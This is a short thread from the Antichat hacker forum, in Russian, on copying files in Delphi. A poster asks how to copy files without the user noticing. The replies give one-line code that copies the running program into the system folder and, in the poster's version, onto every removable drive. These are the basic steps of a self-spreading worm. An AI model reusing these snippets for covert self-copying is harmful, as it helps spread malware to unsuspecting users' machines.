Форум АНТИЧАТ - Копирование файлов

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Копирование файлов (https://forum.antichat.xyz/showthread.php?t=175924)

Копирование файлов

Всем привет! нашел функцию копирования файлов

Код:

function WindowsCopyFile(FromFile, ToDir : string) : boolean;

var F : TShFileOpStruct;

begin

  F.Wnd := 0; F.wFunc := FO_COPY;

  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);

  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);

  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

  result:=ShFileOperation(F) = 0;

end;

, но когда копируется показывается фигня, типа копируется файл... Как скопировать так, что бы пользователь не видел?

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

Цитата:

Сообщение от xafon

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(SysDir+'failo.exe'), FALSE);

Я не знаю правильно ли я сделал :

Код:

copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(GetRemovableDrives[i]+':\mvh\'+k), FALSE);

Но, он не копирует(((